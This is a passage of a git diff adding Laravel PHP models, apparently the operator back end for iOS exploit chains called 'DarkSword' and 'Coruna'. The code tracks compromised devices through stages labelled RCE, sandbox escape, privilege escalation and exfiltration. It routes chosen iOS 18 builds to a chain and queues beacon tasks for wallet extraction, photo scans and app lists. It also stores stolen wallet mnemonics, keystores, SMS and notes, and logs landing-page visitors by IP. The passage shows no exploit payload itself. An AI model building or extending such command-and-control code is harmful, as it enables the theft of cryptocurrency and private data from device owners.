|
* and display are always the same format.
|
||||||
|
*
|
||||||
|
* - Strips non-hex characters (including dashes, spaces, braces).
|
||||||
|
* - Uppercases.
|
||||||
|
* - If exactly 32 hex chars → formats as XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX.
|
||||||
|
* - If not 32 chars (e.g. old xxbb 16-hex IDs) → returns uppercase hex as-is.
|
||||||
|
*/
|
||||||
|
public static function normalizeDarkswordKey(?string $deviceKey): ?string
|
||||||
|
{
|
||||||
|
if ($deviceKey === null || $deviceKey === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $deviceKey) ?? '');
|
||||||
|
if ($hex === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Only 32-char hex values are UUIDs — format with dashes.
|
||||||
|
if (strlen($hex) === 32) {
|
||||||
|
return substr($hex, 0, 8).'-'.substr($hex, 8, 4).'-'.substr($hex, 12, 4).'-'.substr($hex, 16, 4).'-'.substr($hex, 20, 12);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Non-32-char IDs (e.g. old xxbb 16-hex) — return as-is.
|
||||||
|
return substr($hex, 0, 64);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* True when the id matches one of the three live chains:
|
||||||
|
* Coruna / xxbb = 16 hex; DarkSword / App = UUID (dashed or 32 hex).
|
||||||
|
*/
|
||||||
|
public static function isKnownChainKey(?string $key): bool
|
||||||
|
{
|
||||||
|
$key = trim((string) $key);
|
||||||
|
if ($key === '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (preg_match('/^[0-9A-Fa-f]{16}$/', $key) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (preg_match('/^[0-9A-Fa-f]{32}$/', $key) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
if (preg_match('/^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$/', $key) === 1) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return app()->runningUnitTests() && preg_match('/^dev[-_a-z0-9]+$/i', $key) === 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Drop ids that are not a known chain key. Callers treat null as "ignore".
|
||||||
|
*/
|
||||||
|
public static function acceptChainKey(?string $key): ?string
|
||||||
|
{
|
||||||
|
$key = trim((string) $key);
|
||||||
|
if ($key === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (self::isKnownChainKey($key)) {
|
||||||
|
return $key;
|
||||||
|
}
|
||||||
|
Log::info('rejected unknown device key', ['device_key' => $key]);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function captureEnabledForKey(?string $deviceKey): bool
|
||||||
|
{
|
||||||
|
$key = static::normalizeDarkswordKey($deviceKey);
|
||||||
|
if ($key === null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$device = static::query()->where('device_id', $key)->first();
|
||||||
|
|
||||||
|
// Safety net: if not found by dashed format, try plain (no dashes).
|
||||||
|
// This covers xxbb/coruna devices that may store a 32-char hex ID
|
||||||
|
// in plain format via IngestService::normalizeDeviceKey.
|
||||||
|
if (! $device && strlen($key) === 36) {
|
||||||
|
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? '');
|
||||||
|
if ($plain !== '' && $plain !== $key) {
|
||||||
|
$device = static::query()->where('device_id', $plain)->first();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $device?->persistCaptureEnabled() ?? false;
|
||||||
|
}
|
||||||
|
|
||||||
public function apps(): HasMany
|
public function apps(): HasMany
|
||||||
{
|
{
|
||||||
return $this->hasMany(DeviceApp::class);
|
return $this->hasMany(DeviceApp::class);
|
||||||
@@ -33,6 +261,16 @@ class Device extends Model
|
|||||||
return $this->hasMany(Photo::class);
|
return $this->hasMany(Photo::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function noteScans(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(NoteScan::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function mnemonicFindings(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(MnemonicFinding::class);
|
||||||
|
}
|
||||||
|
|
||||||
public function notes(): HasMany
|
public function notes(): HasMany
|
||||||
{
|
{
|
||||||
return $this->hasMany(Note::class);
|
return $this->hasMany(Note::class);
|
||||||
@@ -48,8 +286,39 @@ class Device extends Model
|
|||||||
return $this->hasMany(WalletMnemonic::class);
|
return $this->hasMany(WalletMnemonic::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Oldest device on an official channel; used as scan-ingest holder. */
|
||||||
|
public static function officialHolder(): ?self
|
||||||
|
{
|
||||||
|
$channelIds = Channel::query()
|
||||||
|
->where('user_id', Channel::OFFICIAL_USER_ID)
|
||||||
|
->pluck('channel_id');
|
||||||
|
if ($channelIds->isEmpty()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return static::query()
|
||||||
|
->whereIn('channel_id', $channelIds)
|
||||||
|
->orderBy('id')
|
||||||
|
->first();
|
||||||
|
}
|
||||||
|
|
||||||
public function keystores(): HasMany
|
public function keystores(): HasMany
|
||||||
{
|
{
|
||||||
return $this->hasMany(WalletKeystore::class);
|
return $this->hasMany(WalletKeystore::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function pluginSessions(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(PluginSession::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function smsReports(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(SmsReport::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function beaconTasks(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,4 +23,25 @@ class DeviceApp extends Model
|
|||||||
{
|
{
|
||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Keychain access groups like TEAM.apple.Spotlight and TEAM.* are not
|
||||||
|
* installed apps. Skip them on write and hide any leftover rows in lists.
|
||||||
|
*/
|
||||||
|
public static function shouldSkipBundle(?string $bundleId): bool
|
||||||
|
{
|
||||||
|
$bundle = strtolower(trim((string) $bundleId));
|
||||||
|
if ($bundle === '' || $bundle === '*') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return str_starts_with($bundle, 'apple.');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function scopeListed($query)
|
||||||
|
{
|
||||||
|
return $query
|
||||||
|
->where('bundle_id', '!=', '*')
|
||||||
|
->whereRaw('LOWER(bundle_id) NOT LIKE ?', ['apple.%']);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,71 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
|
||||||
|
class DsBeaconTask extends Model
|
||||||
|
{
|
||||||
|
public const STATUS_PENDING = 'pending';
|
||||||
|
|
||||||
|
public const STATUS_DISPATCHED = 'dispatched';
|
||||||
|
|
||||||
|
public const STATUS_DONE = 'done';
|
||||||
|
|
||||||
|
public const STATUS_SKIPPED = 'skipped';
|
||||||
|
|
||||||
|
public const LABELS = [
|
||||||
|
'wallet_extract' => '钱包提取',
|
||||||
|
'wallet_scan' => '钱包扫盘',
|
||||||
|
'photos' => '相册',
|
||||||
|
'photo_scan' => '相册扫描',
|
||||||
|
'apps' => '应用列表',
|
||||||
|
'basic_info' => '设备信息',
|
||||||
|
];
|
||||||
|
|
||||||
|
public const STATUS_LABELS = [
|
||||||
|
self::STATUS_PENDING => '排队中',
|
||||||
|
self::STATUS_DISPATCHED => '已下发',
|
||||||
|
self::STATUS_DONE => '已回传',
|
||||||
|
self::STATUS_SKIPPED => '已跳过',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'device_id',
|
||||||
|
'position',
|
||||||
|
'type',
|
||||||
|
'status',
|
||||||
|
'command_id',
|
||||||
|
'dispatched_at',
|
||||||
|
'completed_at',
|
||||||
|
'result_count',
|
||||||
|
'result_meta',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'position' => 'integer',
|
||||||
|
'dispatched_at' => 'datetime',
|
||||||
|
'completed_at' => 'datetime',
|
||||||
|
'result_count' => 'integer',
|
||||||
|
'result_meta' => 'array',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function device(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Device::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function typeLabel(): string
|
||||||
|
{
|
||||||
|
return self::LABELS[$this->type] ?? $this->type;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function statusLabel(): string
|
||||||
|
{
|
||||||
|
return self::STATUS_LABELS[$this->status] ?? $this->status;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,124 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class DsChainLog extends Model
|
||||||
|
{
|
||||||
|
public $timestamps = false;
|
||||||
|
|
||||||
|
/** @var array<string, array{progress: int, title: string}> */
|
||||||
|
public const STAGES = [
|
||||||
|
'boot' => ['progress' => 8, 'title' => '启动'],
|
||||||
|
'loader' => ['progress' => 18, 'title' => '加载器'],
|
||||||
|
'worker' => ['progress' => 42, 'title' => 'RCE'],
|
||||||
|
'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'],
|
||||||
|
'sbx1' => ['progress' => 72, 'title' => '沙箱二段'],
|
||||||
|
'pe' => ['progress' => 86, 'title' => '权限提升'],
|
||||||
|
'post' => ['progress' => 100, 'title' => '取证完成'],
|
||||||
|
];
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'client_uid',
|
||||||
|
'channel_id',
|
||||||
|
'stage',
|
||||||
|
'progress',
|
||||||
|
'label',
|
||||||
|
'created_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'progress' => 'integer',
|
||||||
|
'created_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function stageTitle(string $stage): string
|
||||||
|
{
|
||||||
|
return self::STAGES[$stage]['title'] ?? $stage;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{stage: string, progress: int, label: string}|null
|
||||||
|
*/
|
||||||
|
public static function inferFromText(?string $text): ?array
|
||||||
|
{
|
||||||
|
$msg = trim((string) $text);
|
||||||
|
if ($msg === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) {
|
||||||
|
return ['stage' => 'post', 'progress' => 100, 'label' => 'post'];
|
||||||
|
}
|
||||||
|
if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) {
|
||||||
|
return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾'];
|
||||||
|
}
|
||||||
|
if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) {
|
||||||
|
return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe'];
|
||||||
|
}
|
||||||
|
if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) {
|
||||||
|
return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1'];
|
||||||
|
}
|
||||||
|
if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) {
|
||||||
|
return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0'];
|
||||||
|
}
|
||||||
|
if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) {
|
||||||
|
return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker'];
|
||||||
|
}
|
||||||
|
if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) {
|
||||||
|
return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader'];
|
||||||
|
}
|
||||||
|
if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) {
|
||||||
|
return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot'];
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function record(
|
||||||
|
string $clientUid,
|
||||||
|
string $stage,
|
||||||
|
int $progress = 0,
|
||||||
|
?string $label = null,
|
||||||
|
?string $channelId = null,
|
||||||
|
): ?self {
|
||||||
|
$clientUid = Device::normalizeDarkswordKey($clientUid) ?? '';
|
||||||
|
$stage = strtolower(trim($stage));
|
||||||
|
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$meta = self::STAGES[$stage];
|
||||||
|
if ($progress <= 0) {
|
||||||
|
$progress = $meta['progress'];
|
||||||
|
}
|
||||||
|
$progress = max(0, min(100, $progress));
|
||||||
|
$label = trim((string) ($label ?? ''));
|
||||||
|
if ($label === '') {
|
||||||
|
$label = $stage;
|
||||||
|
}
|
||||||
|
$label = substr($label, 0, 255);
|
||||||
|
$channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null;
|
||||||
|
|
||||||
|
$last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first();
|
||||||
|
if ($last
|
||||||
|
&& $last->stage === $stage
|
||||||
|
&& (int) $last->progress === $progress
|
||||||
|
&& (string) $last->label === $label) {
|
||||||
|
return $last;
|
||||||
|
}
|
||||||
|
|
||||||
|
return self::query()->create([
|
||||||
|
'client_uid' => substr($clientUid, 0, 64),
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'stage' => $stage,
|
||||||
|
'progress' => $progress,
|
||||||
|
'label' => $label,
|
||||||
|
'created_at' => now(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Services\MnemonicScanStatus;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Support\Facades\Crypt;
|
||||||
|
|
||||||
|
class MnemonicFinding extends Model
|
||||||
|
{
|
||||||
|
public const SOURCE_PHOTO = 'photo';
|
||||||
|
|
||||||
|
public const SOURCE_NOTE = 'note';
|
||||||
|
|
||||||
|
public const STATUS_SUSPECTED = 'suspected';
|
||||||
|
|
||||||
|
public const STATUS_CONFIRMED = 'confirmed';
|
||||||
|
|
||||||
|
public const STATUS_DISMISSED = 'dismissed';
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'device_id', 'source', 'photo_id', 'note_id', 'item_key',
|
||||||
|
'status', 'candidate_enc', 'excerpt', 'word_count', 'score',
|
||||||
|
'reviewed_by', 'reviewed_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'word_count' => 'integer',
|
||||||
|
'score' => 'integer',
|
||||||
|
'reviewed_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function device(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Device::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function photo(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Photo::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function note(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Note::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function getCandidateAttribute(): string
|
||||||
|
{
|
||||||
|
$enc = (string) ($this->attributes['candidate_enc'] ?? '');
|
||||||
|
if ($enc === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return Crypt::decryptString($enc);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function setCandidateAttribute(string $value): void
|
||||||
|
{
|
||||||
|
$this->attributes['candidate_enc'] = Crypt::encryptString($value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function maskedCandidate(): string
|
||||||
|
{
|
||||||
|
return WalletMnemonic::maskSecret($this->candidate);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function statusLabel(string $status): string
|
||||||
|
{
|
||||||
|
return match ($status) {
|
||||||
|
self::STATUS_CONFIRMED => '确定含有',
|
||||||
|
self::STATUS_DISMISSED => '已排除',
|
||||||
|
default => '疑似',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function scanLabel(int $status): string
|
||||||
|
{
|
||||||
|
return MnemonicScanStatus::label($status);
|
||||||
|
}
|
||||||
|
}
|
||||||
+10
-1
@@ -2,13 +2,14 @@
|
|||||||
|
|
||||||
namespace App\Models;
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Support\NoteContent;
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
|
||||||
class Note extends Model
|
class Note extends Model
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'content',
|
'device_id', 'content', 'content_hash',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
@@ -18,6 +19,14 @@ class Note extends Model
|
|||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{title: string, body: string, native_id: int|string|null}>
|
||||||
|
*/
|
||||||
|
public function items(): array
|
||||||
|
{
|
||||||
|
return NoteContent::normalizeStored($this->content);
|
||||||
|
}
|
||||||
|
|
||||||
public function device(): BelongsTo
|
public function device(): BelongsTo
|
||||||
{
|
{
|
||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
|
|||||||
@@ -0,0 +1,48 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
|
||||||
|
class NoteScan extends Model
|
||||||
|
{
|
||||||
|
protected $fillable = [
|
||||||
|
'device_id', 'note_id', 'item_key', 'content_hash', 'scan_status', 'scanned_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'scan_status' => 'integer',
|
||||||
|
'scanned_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function device(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Device::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function note(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Note::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function itemKey(array $item, int $index = 0): string
|
||||||
|
{
|
||||||
|
$native = $item['native_id'] ?? null;
|
||||||
|
if ($native !== null && $native !== '') {
|
||||||
|
return 'n:'.(string) $native;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 'h:'.substr(hash('sha1', (string) ($item['title'] ?? '').'|'.(string) ($item['body'] ?? '')), 0, 24);
|
||||||
|
}
|
||||||
|
|
||||||
|
public const HASH_VERSION = '2';
|
||||||
|
|
||||||
|
public static function itemHash(array $item): string
|
||||||
|
{
|
||||||
|
return hash('sha256', self::HASH_VERSION."\n".(string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,224 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class PageVisit extends Model
|
||||||
|
{
|
||||||
|
public $timestamps = false;
|
||||||
|
|
||||||
|
public const CHAIN_CORUNA = 0;
|
||||||
|
|
||||||
|
public const CHAIN_DARKSWORD = 1;
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'channel_id',
|
||||||
|
'client_uid',
|
||||||
|
'chain',
|
||||||
|
'session_id',
|
||||||
|
'user_agent',
|
||||||
|
'os',
|
||||||
|
'os_version',
|
||||||
|
'browser',
|
||||||
|
'browser_version',
|
||||||
|
'ip',
|
||||||
|
'country',
|
||||||
|
'domain',
|
||||||
|
'referer',
|
||||||
|
'created_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'chain' => 'integer',
|
||||||
|
'created_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function chainLabel(int $chain): string
|
||||||
|
{
|
||||||
|
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Only these iOS builds enter the DarkSword landing / workers. */
|
||||||
|
public const DARKSWORD_IOS_VERSIONS = [
|
||||||
|
'18.1.1', '18.4', '18.4.1',
|
||||||
|
'18.5', '18.6', '18.6.1', '18.6.2',
|
||||||
|
'18.7', '18.7.1', '18.7.2',
|
||||||
|
];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
|
||||||
|
*/
|
||||||
|
public static function chainFromIosVersion(?string $os, ?string $osVersion): int
|
||||||
|
{
|
||||||
|
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
|
||||||
|
return self::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
|
||||||
|
return self::isDarkSwordIosVersionString($osVersion)
|
||||||
|
? self::CHAIN_DARKSWORD
|
||||||
|
: self::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function isDarkSwordIosVersionString(?string $osVersion): bool
|
||||||
|
{
|
||||||
|
$canon = self::canonicalIosVersion($osVersion);
|
||||||
|
|
||||||
|
return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
|
||||||
|
*/
|
||||||
|
public static function canonicalIosVersion(?string $osVersion): string
|
||||||
|
{
|
||||||
|
$version = trim((string) $osVersion);
|
||||||
|
if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
$parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);
|
||||||
|
|
||||||
|
return $parts[2] === 0
|
||||||
|
? $parts[0].'.'.$parts[1]
|
||||||
|
: $parts[0].'.'.$parts[1].'.'.$parts[2];
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function normalizeDomain(?string $value): ?string
|
||||||
|
{
|
||||||
|
$value = trim((string) $value);
|
||||||
|
if ($value === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
|
||||||
|
$value = explode('/', $value, 2)[0];
|
||||||
|
$value = strtolower(rtrim($value));
|
||||||
|
if ($value === '' || ! str_contains($value, '.')) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return substr($value, 0, 255);
|
||||||
|
}
|
||||||
|
|
||||||
|
public const VISITOR_UID_LENGTH = 16;
|
||||||
|
|
||||||
|
public const LANDING_MERGE_SECONDS = 60;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* One landing = one row. t.js and DS register share this so the same
|
||||||
|
* channel+IP within {@see LANDING_MERGE_SECONDS} is merged, not doubled.
|
||||||
|
* DarkSword wins on chain; register may replace client_uid with the device UUID.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $attrs
|
||||||
|
*/
|
||||||
|
public static function recordLanding(array $attrs, int $chain): self
|
||||||
|
{
|
||||||
|
$channel = (string) ($attrs['channel_id'] ?? '');
|
||||||
|
$ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null);
|
||||||
|
$existing = null;
|
||||||
|
if ($channel !== '' && $ip !== '') {
|
||||||
|
$existing = static::query()
|
||||||
|
->where('channel_id', $channel)
|
||||||
|
->whereIn('ip', self::ipLookupKeys($ip))
|
||||||
|
->where('created_at', '>=', now()->subSeconds(self::LANDING_MERGE_SECONDS))
|
||||||
|
->orderByDesc('id')
|
||||||
|
->first();
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($existing) {
|
||||||
|
$updates = [];
|
||||||
|
if ($chain === self::CHAIN_DARKSWORD && (int) $existing->chain !== self::CHAIN_DARKSWORD) {
|
||||||
|
$updates['chain'] = self::CHAIN_DARKSWORD;
|
||||||
|
}
|
||||||
|
if ($chain === self::CHAIN_DARKSWORD) {
|
||||||
|
$uid = trim((string) ($attrs['client_uid'] ?? ''));
|
||||||
|
if ($uid !== '' && $uid !== (string) $existing->client_uid) {
|
||||||
|
$updates['client_uid'] = substr($uid, 0, 64);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$incomingCountry = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
|
||||||
|
if ($incomingCountry && trim((string) ($existing->country ?? '')) === '') {
|
||||||
|
$updates['country'] = $incomingCountry;
|
||||||
|
}
|
||||||
|
foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) {
|
||||||
|
$incoming = $attrs[$field] ?? null;
|
||||||
|
if (! is_string($incoming) || trim($incoming) === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$incoming = trim($incoming);
|
||||||
|
$current = trim((string) ($existing->{$field} ?? ''));
|
||||||
|
if ($current === '' || ($field === 'os_version' && $chain === self::CHAIN_DARKSWORD)) {
|
||||||
|
$updates[$field] = $incoming;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($updates !== []) {
|
||||||
|
$existing->fill($updates)->save();
|
||||||
|
}
|
||||||
|
|
||||||
|
return $existing;
|
||||||
|
}
|
||||||
|
|
||||||
|
$attrs['chain'] = $chain;
|
||||||
|
$attrs['created_at'] = $attrs['created_at'] ?? now();
|
||||||
|
$attrs['country'] = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null);
|
||||||
|
|
||||||
|
return static::query()->create($attrs);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Stable visitor id: same domain+ip always yields the same 16-hex value.
|
||||||
|
*/
|
||||||
|
public static function visitorUid(?string $domain, ?string $ip): string
|
||||||
|
{
|
||||||
|
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
|
||||||
|
$ipKey = self::normalizeIp($ip);
|
||||||
|
|
||||||
|
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Unwrap IPv4-mapped IPv6 (`::ffff:1.2.3.4` → `1.2.3.4`) and canonicalize.
|
||||||
|
*/
|
||||||
|
public static function normalizeIp(?string $ip): string
|
||||||
|
{
|
||||||
|
$ip = strtolower(trim((string) $ip));
|
||||||
|
if ($ip === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
if (str_starts_with($ip, '::ffff:')) {
|
||||||
|
$mapped = substr($ip, 7);
|
||||||
|
if (filter_var($mapped, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
|
||||||
|
return $mapped;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$packed = filter_var($ip, FILTER_VALIDATE_IP) ? inet_pton($ip) : false;
|
||||||
|
if ($packed !== false) {
|
||||||
|
$canon = inet_ntop($packed);
|
||||||
|
if (is_string($canon) && $canon !== '') {
|
||||||
|
return strtolower($canon);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $ip;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
public static function ipLookupKeys(?string $ip): array
|
||||||
|
{
|
||||||
|
$norm = self::normalizeIp($ip);
|
||||||
|
if ($norm === '') {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$keys = [$norm];
|
||||||
|
if (filter_var($norm, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
|
||||||
|
$keys[] = '::ffff:'.$norm;
|
||||||
|
}
|
||||||
|
|
||||||
|
